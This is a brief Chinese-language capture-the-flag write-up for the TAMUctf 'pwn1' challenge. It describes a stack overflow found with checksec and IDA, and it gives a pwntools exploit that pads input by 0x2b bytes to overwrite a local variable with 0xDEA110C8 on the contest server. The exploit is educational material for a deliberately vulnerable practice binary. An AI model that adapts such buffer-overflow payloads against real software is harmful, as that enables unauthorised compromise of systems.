先checksec 一波:

IDA分析:

很明显的一处栈溢出,但是此处却不是控制程序流,只需要简单得覆盖v5的值为0xDEA110C8
就行,具体看栈空间可以发现

exp:
from pwn import *
# p = process('./pwn1')
p = remote("pwn.tamuctf.com","4321")
p.recvuntil('name?\n')
p.sendline("Sir Lancelot of Camelot")
p.recvuntil('quest?\n')
p.sendline("To seek the Holy Grail.")
p.recvuntil('secret?\n')
payload = 'a'*0x2b + p32(0xDEA110C8)
p.sendline(payload)
p.interactive()
网友评论